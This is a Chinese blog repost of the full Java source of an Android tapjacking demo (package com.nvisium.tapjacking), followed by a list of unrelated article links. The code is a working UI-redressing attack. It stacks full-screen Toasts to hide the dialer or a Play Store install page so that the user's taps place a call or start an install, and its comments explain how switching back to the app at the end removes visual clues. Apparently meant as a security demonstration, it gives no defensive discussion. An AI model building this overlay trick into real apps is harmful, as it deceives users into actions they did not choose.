tapjacking 源代码
来源:互联网 发布:一个老程序员的心里话 编辑:程序博客网 时间:2024/06/10 21:21
package com.nvisium.tapjacking;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
public class Main extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
public void launchCallDemo(View v) {
startService(new Intent(DialerService.class.getName()));
}
public void launchBackgroundInstallDemo(View v) {
startService(new Intent(BackgroundInstallerService.class.getName()));
}
}
package com.nvisium.tapjacking;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Toast;
public class DialerService extends Service {
@Override
public IBinder onBind(Intent intent) {
System.out.println();
return null;
}
@Override
public void onCreate() {
super.onCreate();
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
Toast toast = Toast.makeText(getApplicationContext(), "",
Toast.LENGTH_SHORT);
View view = inflater.inflate(R.layout.dialer_layout, null);
toast.setView(view);
toast.setGravity(Gravity.FILL, 0, 0);
fireLongToast(toast);
launchDialer();
}
// this link helped:
// http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/
private void fireLongToast(final Toast toast) {
Thread t = new Thread() {
public void run() {
int count = 0;
int max_count = 10;
try {
while (true && count < max_count) {
toast.show();
/*
* We check to see when we are going to give the screen
* back. Right before our toasts end we swap activities
* to remove any visual clues
*/
if (count == max_count - 1) {
ComponentName toLaunch;
toLaunch = new ComponentName(
"com.nvisium.tapjacking",
"com.nvisium.tapjacking.Main");
Intent intent = new Intent();
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(toLaunch);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(intent);
}
/*
* this short sleep helps our toasts transition
* seamlessly
*/
sleep(1850);
count++;
}
} catch (Exception e) {
}
stopSelf();
}
};
t.start();
}
private void launchDialer() {
Thread t = new Thread() {
public void run() {
/*
* We sleep first in order for the toasts to consume the screen
* before the dialer activity launches
*/
try {
sleep(2000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Intent intent = new Intent(Intent.ACTION_DIAL);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// showing Google some love
intent.setData(Uri.parse("tel:650-253-0000"));
getApplication().startActivity(intent);
}
};
t.start();
}
}
package com.nvisium.tapjacking;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.IBinder;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Toast;
public class BackgroundInstallerService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
LayoutInflater inflater = (LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE);
// create first toast
Toast toast = Toast.makeText(getApplicationContext(), "",
Toast.LENGTH_SHORT);
View view = inflater.inflate(R.layout.installer_layout, null);
toast.setView(view);
toast.setGravity(Gravity.FILL, 0, 0);
fireLongToast(toast);
launchMarket();
}
// this link helped:
// http://thinkandroid.wordpress.com/2010/02/19/indefinite-toast-hack/
private void fireLongToast(final Toast toast) {
Thread t = new Thread() {
public void run() {
int count = 0;
int max_count = 10;
try {
while (true && count < max_count) {
toast.show();
/*
* We check to see when we are going to give the screen
* back. Right before our toasts end we swap activities
* to remove any visual clues
*/
if (count == max_count - 1) {
ComponentName toLaunch;
toLaunch = new ComponentName(
"com.nvisium.tapjacking",
"com.nvisium.tapjacking.Main");
Intent intent = new Intent();
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(toLaunch);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(intent);
}
/*
* this short sleep helps our toasts transition
* seamlessly
*/
sleep(1850);
count++;
}
} catch (Exception e) {
}
stopSelf();
}
};
t.start();
}
private void launchMarket() {
Thread t = new Thread() {
public void run() {
/*
* We sleep first in order for the toasts to consume the screen
* before the dialer activity launches
*/
try {
sleep(2000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setData(Uri
.parse("market://details?id=com.nvisium.tapjackingdemo.installer"));
getApplication().startActivity(intent);
}
};
t.start();
}
}
- tapjacking 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 源代码
- 编程必备知识点总结(百度百科)
- filter模块摘记
- Android去掉标题栏和状态栏的方法
- 第二章 搭建你的工作环境
- cxf之基于servlet容器的服务程序demo
- tapjacking 源代码
- e-Government CF 163E
- A simple problem解题报告
- 敏捷开发之每日集成
- 解决 Python.h:没有那个文件或目录 错误的方法
- 欧拉函数
- 关于OpenCV中矩阵调用自带函数的问题
- 黑马程序员 java 银行业务调度系统
- 删除相同的结点